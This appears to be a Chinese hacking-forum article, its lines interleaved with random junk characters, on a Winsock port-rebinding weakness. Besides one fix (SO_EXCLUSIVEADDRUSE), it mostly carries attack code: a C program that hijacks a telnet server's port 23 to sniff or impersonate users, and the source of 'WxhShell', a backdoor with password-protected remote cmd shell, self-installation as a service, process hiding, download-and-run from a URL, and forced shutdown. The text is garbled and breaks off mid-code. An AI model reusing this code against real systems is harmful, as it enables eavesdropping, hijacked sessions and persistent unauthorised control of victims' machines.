在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
P#Whh s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\B:k|Pw6~ ?|pP&8r saddr.sin_family = AF_INET;
s: iBl/N} c`&g.s@N\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R4T@ ]l&W R]o0V*n bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z9MR"!0 O} (sn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
R*D5n>~ gK( G1 这意味着什么?意味着可以进行如下的攻击:
`'*4B_. :_]0 8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MppT"t 4q:8<*W= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{'[VL;k G9V2(P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?3qp?ea j8
`7)^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UbGnU_} "5z@A/Z/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hW9! d[5v A/8O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[La}h2gz =HJ7tele 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x %9Ca)r?} OCJt5#e~A #include
~ ^D2]j #include
^Sj;~ #include
4 P=1)t?tX #include
ylb)SXBf DWORD WINAPI ClientThread(LPVOID lpParam);
w c~s: int main()
mP/#hwzB&q {
+> d;%K WORD wVersionRequested;
>8x)\'w DWORD ret;
4mKH
|\g WSADATA wsaData;
SSTn| BOOL val;
-T i<H9OV SOCKADDR_IN saddr;
C9!FnvH SOCKADDR_IN scaddr;
`p1B58deC int err;
<}h<By) SOCKET s;
tN_=&|{WE4 SOCKET sc;
$}0!dR2 int caddsize;
2y|n!p
T HANDLE mt;
$Ff6nc= DWORD tid;
<Rs$d0/ wVersionRequested = MAKEWORD( 2, 2 );
fI2y(p{? err = WSAStartup( wVersionRequested, &wsaData );
n~BQq-1 if ( err != 0 ) {
){z#Y#]dP printf("error!WSAStartup failed!\n");
tw=A]
a* return -1;
8SLE*c^8 }
n*' :,m saddr.sin_family = AF_INET;
$G 6kS@A D!#B*[| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"KS"[i!3j 7'65+c[& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mk=*2=d saddr.sin_port = htons(23);
h-sO7M0E] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
->o[ S0 {
r$-P printf("error!socket failed!\n");
8 a]g>g return -1;
6J#R1.h }
w^^l, val = TRUE;
nd,\<}uP9 //SO_REUSEADDR选项就是可以实现端口重绑定的
0v9i43[S|J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`B&=ya|bl {
:8`$BbV printf("error!setsockopt failed!\n");
B
u%%O8 return -1;
It/hXND` }
~3%\8,0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4}t&yu<P> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I Z*) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(v
KJyk+Y - US>]. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H3vnc\d~ {
a&2x;diF ret=GetLastError();
Y2tBFeWY printf("error!bind failed!\n");
auX(d -m return -1;
^c/3!"wK
}
X8}\m%gCU listen(s,2);
*GY8#Az while(1)
=Ti@Y {
%X^qWKix}m caddsize = sizeof(scaddr);
oR!h
eCnu //接受连接请求
i%F2^R@!q/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Csp$_uDi if(sc!=INVALID_SOCKET)
1zG6^U {
?(Tin80=r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=./PY10' if(mt==NULL)
y`5
? {
JUj.:n2e printf("Thread Creat Failed!\n");
YU`k^a7%
break;
K>LS8,8V }
~`^kP.() }
BB9eQ:
xO CloseHandle(mt);
$cuBd }
Vr"'O6 closesocket(s);
^+-]V9?+ WSACleanup();
5-k gGOt return 0;
_
W#Km }
&iq'V*+-\ DWORD WINAPI ClientThread(LPVOID lpParam)
3djw {
trjeGSt& SOCKET ss = (SOCKET)lpParam;
0S4Y3bac& SOCKET sc;
JY"J} unsigned char buf[4096];
/.rj\, SOCKADDR_IN saddr;
5D?{dA:Rq long num;
0bJT0_ DWORD val;
X(17ESQ/Y DWORD ret;
\6.dGKK //如果是隐藏端口应用的话,可以在此处加一些判断
,'t&L] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d8R|0RZ saddr.sin_family = AF_INET;
#*lDKn[vO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-^t.eZ*| saddr.sin_port = htons(23);
d2US~.;>l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7QZyd- {
\*BRFUAc printf("error!socket failed!\n");
I(3~BOUn_ return -1;
$!!y v'K }
Pg`+Q^^6S val = 100;
UM`$aPz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bA$ElKT {
23K#9!3 ret = GetLastError();
fhRu- return -1;
(E 8jkc
}
Q%!xw( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7<(U`9W/q {
$sb@*K}:4 ret = GetLastError();
H8B.c%_|U return -1;
9-&@Y }
TNeL%s?B3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{|j-e{* {
$AvaOI.l printf("error!socket connect failed!\n");
p`Tl)[* closesocket(sc);
6Fk[wH7 closesocket(ss);
BT;1"l< return -1;
'43U v }
U8HuqFC while(1)
tj8o6N# {
qJK9C`T% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S:xs[b.ZZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
TV_a(#S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ygm6(+ num = recv(ss,buf,4096,0);
n}1hmAhZ if(num>0)
qh&KNJ>1 send(sc,buf,num,0);
+!`$( else if(num==0)
Ln+ k_ break;
@m:'
L7+ num = recv(sc,buf,4096,0);
~R=p[h) if(num>0)
\k6OP send(ss,buf,num,0);
< 0S\P=\ else if(num==0)
2v4&'C break;
5^l-3s?M }
2\O!vp>|- closesocket(ss);
VC Ay~, closesocket(sc);
x
0vW9*& return 0 ;
i!JSEQ_8 }
'&gUAt 8Jp?@qt=$ ZD$I-33W ==========================================================
l+`CgYo "
;8kKR 下边附上一个代码,,WXhSHELL
)liNjY@ 9n\v{k= ==========================================================
s-&i!d (tzAUrC #include "stdafx.h"
L+lye Ir' AGVipI # #include <stdio.h>
g&ba]?[A #include <string.h>
AI9=?X<kh #include <windows.h>
o@} qPvt0 #include <winsock2.h>
~aL?{kb+ #include <winsvc.h>
ashVV~\8A #include <urlmon.h>
v"J|Ebx F:0 E-
z' #pragma comment (lib, "Ws2_32.lib")
oK"#*n #pragma comment (lib, "urlmon.lib")
C8:y+pH_U; iq8Hq)I] #define MAX_USER 100 // 最大客户端连接数
*s2 C+@ef #define BUF_SOCK 200 // sock buffer
1'k,P;s #define KEY_BUFF 255 // 输入 buffer
=)Goip ZQ_~
L!ot #define REBOOT 0 // 重启
dGR #l) #define SHUTDOWN 1 // 关机
IZ.b (51;cj>J #define DEF_PORT 5000 // 监听端口
]tbl1=| }k8&T\V! #define REG_LEN 16 // 注册表键长度
_.,"`U; H #define SVC_LEN 80 // NT服务名长度
~%: TE}
Zzr // 从dll定义API
4%TmW/yd typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[ID#PUle typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;b,
bHL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'w\Gd7E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4'`*Sce} |q q29dS? // wxhshell配置信息
cavzXz struct WSCFG {
4&`d$K int ws_port; // 监听端口
T=pKen/ char ws_passstr[REG_LEN]; // 口令
2&F H8 int ws_autoins; // 安装标记, 1=yes 0=no
AAc2u^spx char ws_regname[REG_LEN]; // 注册表键名
+2s][^-KV char ws_svcname[REG_LEN]; // 服务名
z}7U>y6` char ws_svcdisp[SVC_LEN]; // 服务显示名
cn_ *,\} char ws_svcdesc[SVC_LEN]; // 服务描述信息
LQ"xm char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-$D#u int ws_downexe; // 下载执行标记, 1=yes 0=no
l W
Lj== char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v(jZ[{x@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@Z9>E+udQ $I\lJ8 };
<>=abgg @=l.J+lh // default Wxhshell configuration
\3j4=K'nE struct WSCFG wscfg={DEF_PORT,
t;[?Q\ "xuhuanlingzhe",
0LUw 1,
_eaK:EW "Wxhshell",
x^UAtKSy "Wxhshell",
HR?a93 "WxhShell Service",
T\T>\&nY+| "Wrsky Windows CmdShell Service",
7I {rhA "Please Input Your Password: ",
i$'#7U 1,
ogE|8`Tq^ "
http://www.wrsky.com/wxhshell.exe",
Mj |"+( "Wxhshell.exe"
:DBJ2n };
(R{z3[/u& Xm.["& // 消息定义模块
e= _7Q.cn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|\q@XCGei char *msg_ws_prompt="\n\r? for help\n\r#>";
9
J~KM=p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
x[YW 3nF char *msg_ws_ext="\n\rExit.";
4p`z%U~=u char *msg_ws_end="\n\rQuit.";
OV $|!n char *msg_ws_boot="\n\rReboot...";
dxWG+S char *msg_ws_poff="\n\rShutdown...";
DGx<Nys@B char *msg_ws_down="\n\rSave to ";
"& q])3h = 3#c0p790 char *msg_ws_err="\n\rErr!";
xgB-m[Xi char *msg_ws_ok="\n\rOK!";
'C1yqkIa` xO'xZ%cUI char ExeFile[MAX_PATH];
A)o%\j int nUser = 0;
f<2<8xS HANDLE handles[MAX_USER];
G%fNGQwT int OsIsNt;
Kdb:Q0B \F),SL SERVICE_STATUS serviceStatus;
_~E_#cNn SERVICE_STATUS_HANDLE hServiceStatusHandle;
0Y ld!L (k5d.E]CK // 函数声明
k|_LF[* Z int Install(void);
^9*Jz{e int Uninstall(void);
?rububDT{ int DownloadFile(char *sURL, SOCKET wsh);
nA XWbavY int Boot(int flag);
%;tBWyq}_ void HideProc(void);
4B=@<(H int GetOsVer(void);
QU^?a~r int Wxhshell(SOCKET wsl);
w<=-n;2 void TalkWithClient(void *cs);
se]QEd7]7 int CmdShell(SOCKET sock);
YH$whJ`W0 int StartFromService(void);
w,zgYX& int StartWxhshell(LPSTR lpCmdLine);
KH76Vts +K*_=gHF. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{FNq&)#` VOID WINAPI NTServiceHandler( DWORD fdwControl );
W q>qso -VRKQNT // 数据结构和表定义
#jR1ti)p SERVICE_TABLE_ENTRY DispatchTable[] =
*6P)HU@ {
$8Y|&P {wscfg.ws_svcname, NTServiceMain},
wg 6 {NULL, NULL}
-Mufo.Jz1o };
a6.0$' ^>!~%Vv7! // 自我安装
Z <vTr6? int Install(void)
3gU*,K7 {
R//S(eU68\ char svExeFile[MAX_PATH];
/c-%+Xd HKEY key;
nL-kBW Ed> strcpy(svExeFile,ExeFile);
-&_;x&k
/ (e6KSRh2fF // 如果是win9x系统,修改注册表设为自启动
_'DZoOH|VE if(!OsIsNt) {
iQ_^MzA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}{m.\O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g|V0[Hnq6 RegCloseKey(key);
YXjWk), if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(
G# W6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^6I8 a" RegCloseKey(key);
|+(Hia,X return 0;
^B7C8YP }
QDJ:LJz\ }
w`r)B`!g }
1 :d,8 else {
j+>&~ -
-H%FYF` // 如果是NT以上系统,安装为系统服务
:~+m9r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qz/d6-0" if (schSCManager!=0)
K
yFR;.F- {
joJ:*oL SC_HANDLE schService = CreateService
"?TKz:9r (
p*S;4+># schSCManager,
Z:s:NvFX wscfg.ws_svcname,
2XGbqZj wscfg.ws_svcdisp,
i5^U1K\M SERVICE_ALL_ACCESS,
0}y-DCuQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@je vY81) SERVICE_AUTO_START,
aXO|%qX SERVICE_ERROR_NORMAL,
/0I=?+QSo svExeFile,
Di8;Tq NULL,
fE/|U|5L[ NULL,
8Nz Xe 7 NULL,
U/I+A|S[ NULL,
`h|>;u NULL
1$G'Kg/ );
>On"BP# U if (schService!=0)
Ks-aJ+} {
v&*}O CloseServiceHandle(schService);
nH^RQ'19 CloseServiceHandle(schSCManager);
F|t_&$Is? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O:3DIT1#> strcat(svExeFile,wscfg.ws_svcname);
i(@<KH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bZsg7[: C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
z@n779 i RegCloseKey(key);
f.SmCgG return 0;
=3?"s(9 }
SR\F2@u }
P",E/beV CloseServiceHandle(schSCManager);
{Lm%zdk*k }
;NzS;C' }
Nt#a_ '+{dr\nJ return 1;
l]o)KM< }
6C|]Fm SQd`xbIuL // 自我卸载
iNAaTU int Uninstall(void)
z7P]g
C$\ {
=q-HR+ HKEY key;
^U4|TR6mub Z6vm!#\ if(!OsIsNt) {
h8lI#Gs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pe1 _E
KU RegDeleteValue(key,wscfg.ws_regname);
B 8ycr~ RegCloseKey(key);
~NtAr1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qxe%RYdA'j RegDeleteValue(key,wscfg.ws_regname);
!p~K;p, RegCloseKey(key);
|6.1uRF E2 return 0;
3qc o2{nz }
t,yzqn
}
2i3& 3oz]O }
pD>^Dfd else {
@j Y_^8#S W^^}-9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
WaRYrTDv64 if (schSCManager!=0)
uJ! yM;{+ {
wzRIvm{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Q5s?/r if (schService!=0)
Xqac$%[3 {
S(f V ,;Z if(DeleteService(schService)!=0) {
C8 b%r|^# CloseServiceHandle(schService);
Ag!#epi{0 CloseServiceHandle(schSCManager);
!bHM:!6^ return 0;
a~-^$Fzgy }
{PCf'n CloseServiceHandle(schService);
E |A,NPf%I }
!7K-Kqn CloseServiceHandle(schSCManager);
xf.2Ig }
FiQx5}MMhu }
5E+k}S]M$ )*Qa9+: return 1;
d^w*!<8 }
^{W#ut>IN :tA|g // 从指定url下载文件
Um$a9S8b& int DownloadFile(char *sURL, SOCKET wsh)
(Q$]X5L {
}bs2Rxkh HRESULT hr;
cCj pQ char seps[]= "/";
m9Uoq[1 char *token;
D?w-uR%Y char *file;
drQioH- char myURL[MAX_PATH];
d[9NNm*htC char myFILE[MAX_PATH];
,A>i)brc /e5Fx strcpy(myURL,sURL);
X; gN[ token=strtok(myURL,seps);
a'v%bL;H~ while(token!=NULL)
[i '\d} {
DvuL1MeKo file=token;
Z0~}'K token=strtok(NULL,seps);
@Yq! }
B`4[@$ %-4e8d74/ GetCurrentDirectory(MAX_PATH,myFILE);
sKX%<n$ strcat(myFILE, "\\");
S"=oU}'| strcat(myFILE, file);
eXU;UO^ send(wsh,myFILE,strlen(myFILE),0);
^w<:UE2a! send(wsh,"...",3,0);
`f:5w^A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a`w)awb if(hr==S_OK)
Kup-O
u, return 0;
>Q~"/-bN) else
L?^C\g6u] return 1;
8<g_JW[% ] 05Q4 }
1?(mE7H# _e_]$G/TM // 系统电源模块
?nFT51t/4 int Boot(int flag)
XU0"f!23x {
;D/'7f7.} HANDLE hToken;
*TuoC5 TOKEN_PRIVILEGES tkp;
azB~>#H~ n^/,>7J if(OsIsNt) {
qvOBvUR} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
``kKi3TWJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r)mm8MI!Z tkp.PrivilegeCount = 1;
qR_"aQ7s2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
UY**3MK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@ %z5]w if(flag==REBOOT) {
l1odkNf| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n20H{TA return 0;
IBVP4&}x$ }
-}UCdaQ3 else {
0zpP$q$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mId{f return 0;
gzDb~UEoF }
9wKz p }
_<.R \rX& else {
q<JI!n1O if(flag==REBOOT) {
y|KDh'Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^d"tymDd return 0;
#%e`OA(b }
a~ REFy else {
$^7&bQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B>47Ic return 0;
]dDyz[NuvD }
,)L.^< }
&TbnZnv HIhoYSwB return 1;
>[xQUf,p }
rMlbj2T XB;;OP12 // win9x进程隐藏模块
@V :b Co void HideProc(void)
of& vQ {
3F}d,aB
A F{T|lTl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9/s-|jD if ( hKernel != NULL )
8}\"LXRbo {
Y,mH ] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
sCb?TyN'n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"<O?KO3K FreeLibrary(hKernel);
~[9 ]M)=O0 }
k5xirB_ n?
s4"N6 return;
{8jG6 }
Q|G[9HBI '`o+#\,b^% // 获取操作系统版本
k LD)<D int GetOsVer(void)
;pB?8Z {
E/GI:}YUy_ OSVERSIONINFO winfo;
nMc-kyl{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m dC. FO- GetVersionEx(&winfo);
t%dPj8~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cRg$~rYd return 1;
nj9hRiLn else
{{DW P-v4 return 0;
oW+R:2I~O }
]c5GG!E-g orU4{.e // 客户端句柄模块
1g/mzC int Wxhshell(SOCKET wsl)
qbAoab53 {
alu`T
c~ SOCKET wsh;
/|DQ_<* struct sockaddr_in client;
<g %xo" DWORD myID;
*smo{!0Gg `aI%laj&M while(nUser<MAX_USER)
b'Uaj`Sn {
ng 6G<hi int nSize=sizeof(client);
TOuFFR wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=C:0='a if(wsh==INVALID_SOCKET) return 1;
R\+$^G}#6 >$"bwr}'4B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/cjf 1Dc if(handles[nUser]==0)
H+0 * closesocket(wsh);
A qm0|GlJ else
a,tP.Xsl nUser++;
j/Kw-h ,5" }
be@MQ}6> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
uuC/F_='B {jq-dL return 0;
p' gv5\u[w }
H5aUZ= _88~uYG // 关闭 socket
`H|g~7KD& void CloseIt(SOCKET wsh)
I%s/h4x^B[ {
E|fPI u closesocket(wsh);
G37_
`C nUser--;
. }1!MK5 ExitThread(0);
BW*zj=N% }
}gn0bCJy <=`@`rm{ // 客户端请求句柄
F%|(pHk void TalkWithClient(void *cs)
kR_[p._ {
C'$U1%:
j CRf^6k_;( SOCKET wsh=(SOCKET)cs;
lubS{3< char pwd[SVC_LEN];
~\_E%NR
yA char cmd[KEY_BUFF];
:dj@i6 char chr[1];
1 h"B-x int i,j;
d8K^`k+x
)Ob{] while (nUser < MAX_USER) {
p*'?(o:= " h#=ctCx" if(wscfg.ws_passstr) {
jW*A(bK8: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nAYjSE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/[-hJ=<Yb //ZeroMemory(pwd,KEY_BUFF);
u/zfx;K i=0;
~& l`" while(i<SVC_LEN) {
3A9|{Vaz+6 qjFgy)qV // 设置超时
Yk5kC0B fd_set FdRead;
bd9c/>& struct timeval TimeOut;
s0h)~z FD_ZERO(&FdRead);
0'<S7?~| FD_SET(wsh,&FdRead);
$pKS['J0 TimeOut.tv_sec=8;
BZBsE
:(F TimeOut.tv_usec=0;
JSL 3.J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(+@.L7>m+t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)Qc$UI8L oa4}GNH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c2U>89LlZ pwd
=chr[0]; *!Dzst-J3
if(chr[0]==0xd || chr[0]==0xa) { ubQ(O uM"
pwd=0; ;CrA
break; ;Cy@TzO/|
} 3m^BYr*y^
i++; 'ZDclz9}
} _`\INZe-G
C+mU_g>
// 如果是非法用户,关闭 socket VuY.})+J:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kmS8>O
} )eFK@goGeb
eOb`uyi
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s6$3[9Vh&9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); We ->d |=
oK>,MdB
while(1) { t&xx-4
C/bttd
ZeroMemory(cmd,KEY_BUFF); TQou.'+v
2*M*<p=v
// 自动支持客户端 telnet标准 x\%egw
j=0; xv:?n^yt.[
while(j<KEY_BUFF) { jBC9Vt;B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aI<~+ ]
cmd[j]=chr[0]; 1gE`_%?K
if(chr[0]==0xa || chr[0]==0xd) { bm4W,
cmd[j]=0; 1mX*0>
break; 1 W0; YcT]
} 0D'Wr(U(
j++; |^F-.Z
} eZ!k'bS=
Vo%d;>!G\;
// 下载文件 $o/>wgQY-
if(strstr(cmd,"http://")) { @2mP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9ZBF1sMg
if(DownloadFile(cmd,wsh)) [a3
0iE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jHN#}
else CytpL`&^]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pR"qPSv'
} "|.(yN
else { Bag#An1
C gx?K]>y
switch(cmd[0]) { - -G1H
k mjm6
// 帮助 B /W$RcV
case '?': { E(@;p%:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FMVmH!E
break; oo!g?X[[
} qo@dFKy
// 安装 /Uc*7Y5j
case 'i': { o >Lk`\
if(Install()) US4Um>j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ZS9CkN
else -?W@-*J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |6>_L6t
break; aM~fRra7
} f2wW2]Fg
// 卸载 L3AwL)I
case 'r': { zqh{=&Tjx
if(Uninstall()) Db=gS=Qm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mw[4<vfB0a
else +a/o)C{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W(aRO
break; -e~Uu
} @m V C
// 显示 wxhshell 所在路径 qN@a<row&~
case 'p': { o!~bR
char svExeFile[MAX_PATH]; to3J@:V8e
strcpy(svExeFile,"\n\r"); d<'xpdxc
strcat(svExeFile,ExeFile); |Z ,G
send(wsh,svExeFile,strlen(svExeFile),0); Q7|13^|C
break; kre&J
} $1+K}tP
// 重启 5F"?]'*/
case 'b': { Z+"&{g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vi8~j
if(Boot(REBOOT)) ^>Y%L(>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r%*_pX
else { 7g)3\C
closesocket(wsh); @@wx~|%
ExitThread(0); CeTr%j
} k`TJ<Dv;
break; (GG"'bYk
} 2~V Im#
// 关机 >x4[7YAU{
case 'd': { d8HB2c5y0i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }&DB5M
if(Boot(SHUTDOWN)) Jj:6
c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `fZD%o3l
else { Wq(l :W'
closesocket(wsh); AxlFU~E4
ExitThread(0); VA'X!(Cv
} A[kH_{to;
break; ht)nx,e=
} %i8>w:@NW
// 获取shell /w M
case 's': { Jwd&[
O
CmdShell(wsh); k-V I9H!,
closesocket(wsh); | ",[C3Jg
ExitThread(0); OZD!#YI
break; R9h>I3F=c
} {~fCqP.2
// 退出 Cc)P5\jh
case 'x': { c1kxKxE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]<gCq/V #
CloseIt(wsh); 5xDN&su
break; ]TgP!M&q
} O}_a3>1DY
// 离开 UMuuf6
case 'q': { mSzpRa
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &_d/ciq1f
closesocket(wsh); bz0P49%
WSACleanup(); [Cj}nld
exit(1); U}w+`ZLN
break; -,VhS I
} _sR9
} {Y91vXTz7
} 6@q[tN7_^
oL'1Gm@X?
// 提示信息 neh;`7~5@K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:-A; f!Z
} x$GsDV
} xDJ+BQ<1A
8i;)|z7
return; yW^IN8fm
} {R-82% X
vX0"S
// shell模块句柄 yv)nW::D(
int CmdShell(SOCKET sock) [W$Z60?RR
{
Hp}
STARTUPINFO si; 6_<s=nTX
ZeroMemory(&si,sizeof(si)); c~UAr k S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $i:||L^8p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u'i%~(:$\)
PROCESS_INFORMATION ProcessInfo; LkGf|yd_
char cmdline[]="cmd"; s!ZW'`4!z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z8/xGQn
return 0; wB>S\~i
} <*"pra{3
K-
I\P6R`
// 自身启动模式 D!}K)T1~R
int StartFromService(void) /.)[9bQ<
{ oU0
h3
typedef struct 6I>5~?#
{ a-5HIY5
DWORD ExitStatus; "f|(@a
DWORD PebBaseAddress; >u5g?yzw
DWORD AffinityMask; 58&{5YpS
DWORD BasePriority; E8-fW\!F
ULONG UniqueProcessId; l]Ui@X
ULONG InheritedFromUniqueProcessId; rjL?eTU"s
